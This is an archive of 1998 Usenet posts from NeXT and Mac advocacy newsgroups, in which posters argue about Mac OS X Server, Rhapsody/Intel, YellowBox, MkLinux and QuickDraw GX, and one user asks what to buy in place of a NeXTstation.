> In article <3668064B.B73675F@ericsson.com>, Michael Peck
> <michael.peck@ericsson.com> wrote:
>
> > Apple
> > may hold MkLinux to hedge its bets on a Linux port, or (more likely),
> > just like everything else, Apple simply doesn't have the slightest idea
> > what to do with it.
>
> I think Apple has a very good idea what to do with it, considering that a
> large number of he Rhapsody/Mac OS X drivers originated from MkLinux, or
> were developed with a foundation from the MkLinux drivers.
Considering the differing driver architectures I would say the best that could
be hoped for is "loosely based on." You've never developed a driver have you?
Mike
From: msb@plexare.com (Michael S. Barthelemy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 21:17:18 GMT
Organization: A-Link Network Services, Inc.
Message-ID: <749jgu$i32@ns2.alink.net>
References: <748vs5$rla@news1.panix.com>
sal@panix.com (Sal Denaro) writes:
> On Thu, 3 Dec 1998 16:30:35 -0800,
> Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> >Maury Markowitz wrote in message ...
> >>> To run OpenStep applications on Intel boxes.
> >> Then why not just get them to release the Intel version?
> >(2) Linux's "house is in ascension" (or however the phrase goes). Linux
> >has momentum, and Apple may have more success getting OpenStep in the
> >hands of millions if it available for Linux than it would with its own
> >UNIX-class OS on Intel. That in turn would keep developers happy.
>
> I think Linux hype is going to turn into "OpenSource" hype and "the return
> os Unix" hype in much the same way that the hype over Mosaic and Netscape
> became hype over the Web in general. Considering the tone of recent articles
> in Forbes, Time and other mainstream publications; I think this has already
> started.
It still does not mean that it is good. It's just another immature product (in
GUI and driver support) like Java (toolkit immaturity - AWT) that is being
hyped too soon and will be severely hurt in the market because of it. (Any
product where I have to compile my ethernet driver because the OS does not ship
with it is immature -- sorry. What card? 3COM 3C905B-TX, definitely not
unusual.)
I also don't think we have seen the real Java backlash yet, but I am fairly
certain we will. I hear about more and more failed Java projects every day.
Interestingly it is about the same percentage as with C++ (Yes, using my
unscientific polling methods.) thus Java is not the managers magical project
failure cure. Since that is the case the collective group of project managers
are due to go looking for a new solution in about two years.
Mike Barthelemy
From: msb@plexare.com (Michael S. Barthelemy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 21:46:28 GMT
Organization: A-Link Network Services, Inc.
Message-ID: <749l7k$iud@ns2.alink.net>
References: <3668383F.79DC79A6@gamewood.net>
Reply-To: msb@inquisit.com
William Cloud Hicklin <solicitr@gamewood.net> writes:
> Avie was being a little disingenous when he said Rhapsody was "killed". The
> essentials of Rhapsody are alive and well and in developer release, as OS X
> Server. What did get killed was Rhapsody/Intel, *primarily* because it was
> giving Apple headaches and it was holding up the whole project. It was not
> worth waiting around for *especially* since R/Intel would have had dubious
> commercial value in competition with Windows.
I disagree with your "dubious commercial value" statement about Rhapsody/Intel.
I know of quite a few WebObjects installations running on OPENSTEP4.2/Intel
which will move to MacOS X Server/Intel because of WebObjects 4.0. These sites
don't care about drivers generally since they bought very specific Intel
machines to run their applications on and I assume that Apple is not
eliminating any drivers they already have for MacOS X Server. I personally
believe that MacOS X Server/Intel could be a limited success so long as Apple
doesn't go overboard writing $100 million worth of drivers.
In the second place, how exactly was Rhapsody/Intel giving Apple headaches?
Perhaps the marketing department. The Intel port was done long before the PPC
one was. I just love revisionist history.
Mike Barthelemy
From: stephane@dial.eunet.ch
Newsgroups: comp.sys.next.advocacy
Subject: Replace my Next station ???
Date: 4 Dec 1998 21:54:06 GMT
Organization: EUnet AG
Message-ID: <749llu$ja$4@news.eunet.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
I have a Next station and i want buy a new computer. What is the best
solution to replace my next station up to USD 7‚000 ?? PC, Sun, HP, wait to
apple and mac OSX .....
Thanks for answers.
Stephane
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 04 Dec 1998 22:35:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <749o3l$kq$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <3666ECA0.664BDFF6@ericsson.com> <747a7q$u1v$1@nnrp1.dejanews.com> <3667666A.A1310D9B@ericsson.com>
In article <3667666A.A1310D9B@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
>> Yeah, yeah, I know all the Linux geeks are convinced that it's the fastest,
>> bestest OS ever, but without native kernel support of Mach messaging, you get
>> slowdowns because the upper levels expect better IPC than most systems
>> provide. That's a major reason why OPENSTEP/Mach runs faster than
>> OPENSTEP/Enterprise (or WOF) on NT, on the same Intel box.
>
> Fine, but I still don't get your point. Is YB on NT "useful"?
Yes, it is. The most common platform here at CodeFab is YB on NT (specificly
WOF 4 for NT).
My point was that YB on Mach (as in OPENSTEP/Mach, Rhapsody DRx, or MacOS X
Server) runs better than YB on NT does on the same hardware.
>>> Therefore it's hardly a huge obstacle that YB requires Mach.
>>
>> YB does not require Mach. That's why YB runs on NT, Solaris, etc.
>> MacOS X Server requires Mach. The two aren't identical, any more
>> than Debian Linux is identical to the system call API's comprising BSD 4.4.
>
> According to your previous statement, YB may require Mach in order to be
> "useful".
Not so. YB does not require Mach. That's why YB runs on NT, Solaris, and so
forth.
> The above is just mincing words. I've already pointed out that
> Linux can run as a user-mode Mach task, and it seems to work just fine.
> What, exactly, is the problem with porting YB to MkLinux?
There is no especial problem.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Fri, 04 Dec 1998 22:41:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <749oem$11u$1@nnrp1.dejanews.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com>
In article <7481fj$31u$1@camel18.mindspring.com>,
"Mark Eaton" <markeaton@mindspring.com> wrote:
[ ... ]
> I may be missing something here, but if it is/was so great where are all the
> ground breaking applications?
Doom thru Quake? Mathematica, Improv, Mesa? WorldWideWeb.app? Librarian?
Terminal & Stuart? InterfaceBuilder? Sysadmin tools like HostManager,
NetInfoManager, etc? TeXview? WebObjects?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 23:04:15 GMT
Organization: Primenet (602)416-7000
Message-ID: <749ppf$mc$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <7471vr$75k$1@nnrp03.primenet.com> <747ovr$eap$1@news.digifix.com> <747t4c$hj7$1@nnrp03.primenet.com>
<749f30$q57$1@news.xmission.com>
Don Yacktman <don@misckit.com> wrote:
: John Jensen <jjens@primenet.com> wrote:
: > Scott Anguish <sanguish@digifix.com> wrote:
: > : On 12/03/98, John Jensen wrote:
: > : >Apple has had two years to resolve licensing and royalty issues.
: >
: > : This assumes that the party that they have to resolve them
: > : with wishes them to be resolved. Adobe seems intent on killing DPS
: > : and PS quickly and without regard for any collateral kill damage.
: >
: > In which case the ineptitude occured at the time of the NeXT
: > purchase, when Apple bought an OS burdened with an unworkable license.
: That's rather disingenious. [...]
I am surprised that you think so. The costs and problems associated with
runtime fees are pretty well known in the computing industry. If Apple
really was doing a comparative analysis of the various OSes available for
license late in '96, the runtime fee associated with each certainly should
have been in their spreadsheet. If a fee was too high, a resolution to
the problem should have been developed at that time.
Is it disingenious to expect such standard business skills?
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 4 Dec 98 16:06:46 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28DB919-F18C@206.165.43.161>
References: <F3GC44.Hx3@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <7481fj$31u$1@camel18.mindspring.com> "Mark Eaton" wrote:
>> I may be missing something here, but if it is/was so great where are all
>> the ground breaking applications?
>
> Sorry Mark, you're not allowed to use that argument. When I made the
>same noise about GX over a year ago I was shouted down with the statement
>that developer acceptance in no way illustrates quality.
>
> On that point I now generally agree, so I use a newer metric, the
quality
>of the API is inversely proportional to the size of the manuals. In other
>words, larger manuals means a lousier API. GX totalled out in several
>thousand pages, and the books for GX alone were larger than the entire YB
>doc set.
I don't quite agree with that one, either. The quality of the API is NOT
reflected in the manuals, but the ease-of-programming is based on clarity
of documentation.
Most of the GX API is pretty good, with a few major kludges. However, the
sample code isn't as good as it could be, and the documentation reflects
that it was an afterthought to the whole thing with lot of redundancies in
documentation.
Basically, they tried to provide an OOP graphics engine via a structured
API and provided documentation more suitable for a structured API.
Didn't work as well as it might have, documentation-wise, and unless you
can grok the OOP-ness of the behind-the-scenes engine, the documentation
makes no sense at all.
>
>> YellowBox reminds me of the Fermi Paradox:
>> where are they? After all these years, people still get glaze-eyed and
>> whisper 'if you build it they will come'.
>
> I can't think of a single person that espouces that viewpoint these
days.
>I don't even think Lawson does. I'd say we're all too jaded
Yup. I think that Apple's current management "gets it" better than previous
ones in many ways, but Apple's political and financial situation makes
things even more precarious, as far as providing new features goes. Apple
likes to portray itself as the Great Innovator, but at the same time, it
has to kowtow to the Establishment Big 100 development houses, so the
innovation has to be less visible until things are more stable.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 4 Dec 98 16:29:35 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28DBE95-23B42@206.165.43.161>
References: <36683A6B.9A8E24A6@ncal.verio.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Mike Paquette <mpaque@ncal.verio.com> said:
>
>It is cool. I just get tired of dealing with phone calls and E-mail
>along the lines of 'This guy on the Net said I could do 3D stuff with
>GX. How do I do a (flying logo, chrome sphere, etc)?' Alas, Mr.
>English has a slight tendency to exaggerate the capabilities of GX,
>which leads to disappointment and frustration on the part of those
>unfortunate enough to take his statements at face value.
Whoa!
If THAT has happened, then I am truely sorry. All I ever meant to say was
that it allows a simple 3D perspective to be applied while text (and
graphics) is still editable. Which is pretty darned kool, and sufficient
for a lot of people's needs, especially the ClarisWorks-level user.
I've no objection to a higher-level graphics engine that integrates 2D and
3D within the PowerMac realm. I assume that some kind of Carbon-level
library will make some of these capabilities available on pre-G3 systems,
otherwise you're orphaning everyone who bought a computer before 1997. I
just believe that 040 and even faster 030 (my old SE/30 can run GX almost
acceptably well for simple word-editing, as I recall) users deserve a
decent graphics engine. Now that the printing capabilties are fixed with
GX, it is useful for a lot of tasks. My little scripting demo shows that
even Macs from 6-7 years ago can still be useful, and every K-12 setting
that I've seen that uses Macs has a bunch of older computers dating back to
the SE, still in use. They just bump the older models back a grade when
they get newer models in.
3D perspective for text and graphics, QT vector editing and cool color
modes are easily doable via GX. GX's retained mode interface makes it easy
to create a reasonably robust graphics app for older Macs, as well as newer
ones. Unless you come out with a replacement API for GX that allows easy
transition from GX to the newer API for developers, the older Macs are now
left without an attractive DTP-oriented graphics engine because "who wants
to target obsolete computers only?" That's a waste of resources for
schools.
And without the retained mode interface, I can't do a GXFCN for 8.6 or
later.
That may or may not mean anything in practice, but GXFCN (GX via scripting)
IS very kool and the capabilities should be supported in 8.6 or later via
SOME kind of library -QT's current library doesn't support text-editing, so
that isn't an option for a robust DTP scripting solution.
Remember: native scripting languages on fast 604x's and G3's can be nearly
as fast as 68030 and 68040 Macs using C. Add in a native graphics engine,
and you have a perfect prototyping, educational and simple games-writing
tool.
I babble a lot, I agree, but that point really is relevant: we need a
pre-defined GX-like system for simpler graphics purposes that includes
text-editing abilities that can be used accross all generations of Color
Macs.
Either keep GX in 8.6 or make the newer system trivial to convert to.
And I'm talking about trivial for HC and AppleScript scriptors, not just
"professional programmers."
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Fri, 04 Dec 1998 17:24:50 -0600
Organization: Ericsson Data Services Americas
Message-ID: <36686F42.EE553D2A@ericsson.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749oem$11u$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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Charles Swiger wrote:
> > I may be missing something here, but if it is/was so great where are all the
> > ground breaking applications?
>
> Doom thru Quake? Mathematica, Improv, Mesa? WorldWideWeb.app? Librarian?
> Terminal & Stuart? InterfaceBuilder? Sysadmin tools like HostManager,
> NetInfoManager, etc? TeXview? WebObjects?
I'm sorry, which ones used 3DKit?
MJP
--
Smoking kills. If you're killed, you've lost a very important part of
your life.
-- Brooke Shields
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 4 Dec 98 16:34:54 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28DBFB8-27FB4@206.165.43.161>
References: <749oem$11u$1@nnrp1.dejanews.com>
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nntp://news.primenet.com/comp.sys.mac.advocacy
Charles Swiger <chuck@codefab.com> said:
>In article <7481fj$31u$1@camel18.mindspring.com>,
> "Mark Eaton" <markeaton@mindspring.com> wrote:
>[ ... ]
>> I may be missing something here, but if it is/was so great where are all
>the
>> ground breaking applications?
>
>Doom thru Quake? Mathematica, Improv, Mesa? WorldWideWeb.app?
>Librarian?
>Terminal & Stuart? InterfaceBuilder? Sysadmin tools like HostManager,
>NetInfoManager, etc? TeXview? WebObjects?
Up until now, there has been a difference between a useful RAD tool and a
widely-used end-user-oriented computer platform. The fact that lots of apps
have been *developed* on NeXTstep doesn't guarantee that they will be
*used* on MacOS X.
I suspect that lots of neat stuff WILL come out and used on MacOS X, but it
isn't a given.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Fri, 04 Dec 1998 17:42:28 -0600
From: alex@webis.net (Alex Kac)
Mail-Copies-To: alex@webis.net
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <alex-0412981742280001@cs48-37.austin.rr.com>
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net>
Organization: Web IS
Newsgroups: comp.sys.next.advocacy
In article <749jgu$i32@ns2.alink.net>, msb@inquisit.com wrote:
> What card? 3COM 3C905B-TX, definitely not
>unusual.)
Definately not unsual - but I had to pull teeth to get NT 4.0 without any
Service packs to accept it...needed to get it so i can transfer the SPs to
it.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Everyware Alliance Member
http://www.WebIS.net
From: msb@plexare.com (Michael S. Barthelemy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 4 Dec 1998 23:47:23 GMT
Organization: A-Link Network Services, Inc.
Message-ID: <749sab$m3n@ns2.alink.net>
References: <749oem$11u$1@nnrp1.dejanews.com>
"Charles Swiger" <chuck@codefab.com> writes:
> In article <7481fj$31u$1@camel18.mindspring.com>,
> "Mark Eaton" <markeaton@mindspring.com> wrote:
> [ ... ]
>> I may be missing something here, but if it is/was so great where are all the
>> ground breaking applications?
>
> Doom thru Quake? Mathematica, Improv, Mesa? WorldWideWeb.app? Librarian?
> Terminal & Stuart? InterfaceBuilder? Sysadmin tools like HostManager,
> NetInfoManager, etc? TeXview? WebObjects?
Not to mention the Lighthouse apps: Diagram, Concurrence, Quantrix, TaskMaster
and WetPaint.
Mike Barthelemy
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Replace my next Station ?????????
Message-ID: <SPAMLESSforrest-0412981604240001@term6-46.vta.west.net>
References: <749ljb$ja$2@news.eunet.ch>
Organization: Obsidian
Date: Fri, 04 Dec 1998 16:04:23 -0800
NNTP-Posting-Date: Fri, 04 Dec 1998 16:03:42 PDT
In article <749ljb$ja$2@news.eunet.ch>, stephane@dial.eunet.ch wrote:
>I have a Next station and i want buy a new computer. What is the best
>solution to replace my next station up to USD 7‚000 ?? PC, Sun, HP, wait to
>apple and mac OSX .....
>
>Thanks for answers.
Firstlly, I'd suggest asking comp.sys.next.advocacy, so I've added them to
the headers. Secondly, and keep in mind that I speak from amidst a
semitransparent cloud of ignorance regarding NeXT users, if you're just a
typical home user, I would reccommend whatever Apple machine is in your
price range (but not an iMac), and when OSX Server comes out, get it. Then
when the full OSX comes out, get that. I'll let the NeXT experts in CSNA
handle the rest.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sat, 05 Dec 1998 00:24:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <749uf4$66l$1@nnrp1.dejanews.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com>
In article <7481fj$31u$1@camel18.mindspring.com>,
"Mark Eaton" <markeaton@mindspring.com> wrote:
> I may be missing something here, but if it is/was so great where are
> all the ground breaking applications?
>
You mean like WorldWideWeb.app? Tailor.app? Mathematica.app? Improv.app?
> YellowBox reminds me of the Fermi Paradox: where are they? After all
> these years, people still get glaze-eyed and whisper 'if you build
> it they will come'. I'm sure there are a million tired old excuses
> about how screwed up NeXT's pricing was, how stupid the industry is,
> etc. But at this point I question that all it takes is another
> version...
>
I don't think you've done any research here: considering the size of the
market there were a *lot* of applications. You can get all your daily work
done using only NEXTSTEP apps -- I still do. There were at least three 3D
modeling apps -- we're still using solidThinking for some work -- which isn't
bad for an OS with an installed base barely into six figures.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
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Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3Guq7.4rt@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: needs one
References: <F3GC44.Hx3@T-FCN.Net> <B28DB919-F18C@206.165.43.161>
Mime-Version: 1.0
Date: Sat, 5 Dec 1998 00:30:06 GMT
In <B28DB919-F18C@206.165.43.161> "Lawson English" wrote:
> I don't quite agree with that one, either. The quality of the API is NOT
> reflected in the manuals, but the ease-of-programming is based on clarity
> of documentation.
But can you have ease of use in a 1000page manual? I don't think so.
Admittedly much of the manuals for things like PowerTalk were simply
endless words with no real examples, but the same was true to a lesser
extent for GX, and some others.
> Most of the GX API is pretty good, with a few major kludges.
That's not entirely the issue though. The GX API is _huge_, so huge in
fact that I feel that's one of the major reasons no one used it. At my
last job they quite literally laughed about it.
> sample code isn't as good as it could be, and the documentation reflects
> that it was an afterthought to the whole thing with lot of redundancies in
> documentation.
Well even if you cut the manuals in half they are still way too big IMHO.
> Basically, they tried to provide an OOP graphics engine via a structured
> API and provided documentation more suitable for a structured API.
Hmm, that's an interesting take.
> Yup. I think that Apple's current management "gets it" better than
> previous
> ones in many ways, but Apple's political and financial situation makes
> things even more precarious
Yes, that's the catch-22!
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
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Cc: english@primenet.com
Organization: needs one
References: <F3GC44.Hx3@T-FCN.Net> <B28DB919-F18C@206.165.43.161>
Mime-Version: 1.0
Date: Sat, 5 Dec 1998 00:30:41 GMT
Hmmm, seems my filter isn't working. But that's OK, this was a good
message anyway.
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3Gusw.4vq@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: michael.peck@ericsson.com
Organization: needs one
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215>
<746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com>
<7481fj$31u$1@camel18.mindspring.com> <749oem$11u$1@nnrp1.dejanews.com>
<36686F42.EE553D2A@ericsson.com>
Mime-Version: 1.0
Date: Sat, 5 Dec 1998 00:31:44 GMT
In <36686F42.EE553D2A@ericsson.com> Michael Peck wrote:
> I'm sorry, which ones used 3DKit?
A Bugs Life.
Sorry, couldn't resist.
Maury
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sat, 05 Dec 1998 00:04:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <749taq$56b$1@nnrp1.dejanews.com>
References: <36666ab0$0$229@nntp1.ba.best.com> <B28C4186-3DDA@206.165.43.2> <F3ErDu.Ipt@T-FCN.Net>
In article <F3ErDu.Ipt@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <B28C4186-3DDA@206.165.43.2> "Lawson English" wrote:
> > GX, due to the retained-mode interface, is suitable for use in scripting
> > languages like HyperTalk and AppleScript. That makes it useful for a LOT
> > of purposes that you probably never even thought about.
>
> But so does Yellow objects, which are also "retained mode".
>
What's impressed me recently is the new wodge of documentation on scripting
for MacOS X. There's an excellent 20-odd page document on how to make your
YB apps AppleScriptable on the dev website now. It's really neat.
> The argument has long been that the right functionality should be placed
> in the right layer, the message you're referring to is dealing with
> this problem. Putting an object model in your graphics engine makes
> no sense whatsoever if you already have another object model.
>
I guess the Big Picture "perspective" is -- how well does GX's model fit with
the Model-View-Controller paradigm which is so successful in YB (and which
gives the foundation for the ease with which scripting is added, cf document
mentioned above).
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
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From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sat, 05 Dec 1998 00:12:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <749tou$5le$1@nnrp1.dejanews.com>
References: <MJB92.25220$aF1.71629@typhoon-sf.snfc21.pbi.net> <B28CDDB7-71E1@206.165.43.124>
In article <B28CDDB7-71E1@206.165.43.124>,
"Lawson English" <english@primenet.com> wrote:
> Imagine being able to script and/or graphically manipulate 2D
> DTP-quality graphics from within any application that can
> attach/edit/evokeAppleScript scripts. Kinda a poor man's OpenDoc
> for 2D graphics.
>
Better than imagining it, it's one of the examples in the document describing
scriptability for YellowBox:
http://developer.apple.com/techpubs/macosxserver/System/Documentation/Developer/YellowBox/TasksAndConcepts/ProgrammingTopics/Scripting/ScriptableApps/scriptableappstoc.html
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
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From: Macghod@concentric.net (Steve)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 04 Dec 1998 16:33:43 -0800
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com>
Organization: Concentric
Message-ID: <Macghod-0412981633430001@pool021-max8.ds28-ca-us.dialup.earthlink.net>
In article <746j19$996$1@nnrp1.dejanews.com>, "Charles Swiger"
<chuck@codefab.com> wrote:
> In article <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-
> proxy.airnews.net>,
> a1050pi@yahoo.com wrote:
> > http://www.macintouch.com/ says that OSX is going to be out by Jan.
> >
> > Is that possible?
>
> Yes. The delay has largely been due to licensing/royalty issues and figuring
> out when and how to market the product, and not because Apple didn't have the
> technology to the point where they could ship it.
Really? I know someone who got a fairly recent beta of macos x server
(NOT rhapsody) and it still doesnt even have ppp support yet! Have they
gotten ppp support on the mac side yet for it (a third party brought ppp
to the intel side many months ago, but it didnt work on macs)? Do they
have drivers for the rage II and rage pro yet, as well any other drivers
on officially supported machines?
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Replace my Next station ???
Date: 5 Dec 1998 00:47:33 GMT
Organization: AOL http://www.aol.com
References: <749llu$ja$4@news.eunet.ch>
Message-ID: <19981204194733.01052.00000101@ng-bw1.aol.com>
Well, my vote would be for a high-end PC clone running OPENSTEP.
You'll be able to run a lot of your old programs (and what you can't run you
can NXhost to).
You'll be able to get Mac OS X Server for Intel if you wish to go that route
when it's available, if it's within your price range and you're inclined.
You'll be able to use GNUstep (a post was just made to the GNUstep discussion
list that they've just finished adding the code for dynamically updating
Services--hurrah!) which I think is going to be the truest successor to
NeXTstep.
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 5 Dec 1998 00:48:59 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <749vtr$7b3@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102>
On Fri, 04 Dec 1998 09:41:30 -0800, Harry <ngroups@fizbin.com> wrote:
>Rumor has it that Apple will be releasing the Mac OSX APIs/GUI after the
>release of Mac OS X server under the GPL (or something similar).
After spending $400 Mil on it? Don't think so.
What _might_ happen is that Apple would make the source code for the BSD
and Mach portions of the OS available. Apple has already posted some source
up on its developer web site, this would not be all that different.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 5 Dec 1998 00:49:00 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <749vts$7b3@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net> <3666F2F5.11E9@aol.com> <747orc$eao$1@news.digifix.com> <36677c1d.0@nnrp1.news.uk.psi.net> <748vs4$rla@news1.panix.com> <ngroups-0412980951560001@192.168.100.102> <slrn76g988.97g.jedi@dementia.mishnet>
On Fri, 4 Dec 1998 10:08:08 -0800,
jedi@dementia.mishnet <jedi@dementia.mishnet> wrote:
>On Fri, 04 Dec 1998 09:51:55 -0800, Harry <ngroups@fizbin.com> wrote:
>>In article <748vs4$rla@news1.panix.com>, sal@panix.com wrote:
>>> I'm not a lawyer, but I would think that "holding back a few cards in
>>reserve"
>>> while being asked to testify under oath would be pretty close to obstruction
>>> of justice.
>>Geez!
>>No, it's NOT.
>>A witness on the stand, regardless of sides, is NOT required to volunteer
>>any and all information they possess. Specifically, they are supposed to
>>ANSWER questions.
> That's a fairly broad directive however which can be intrepreted
> in many ways especially considering that bit about 'the whole
> truth' in the witnesses oath.
That's what I was referring to.
Unless I am wrong (and if I am I will withdraw this comment), I find it
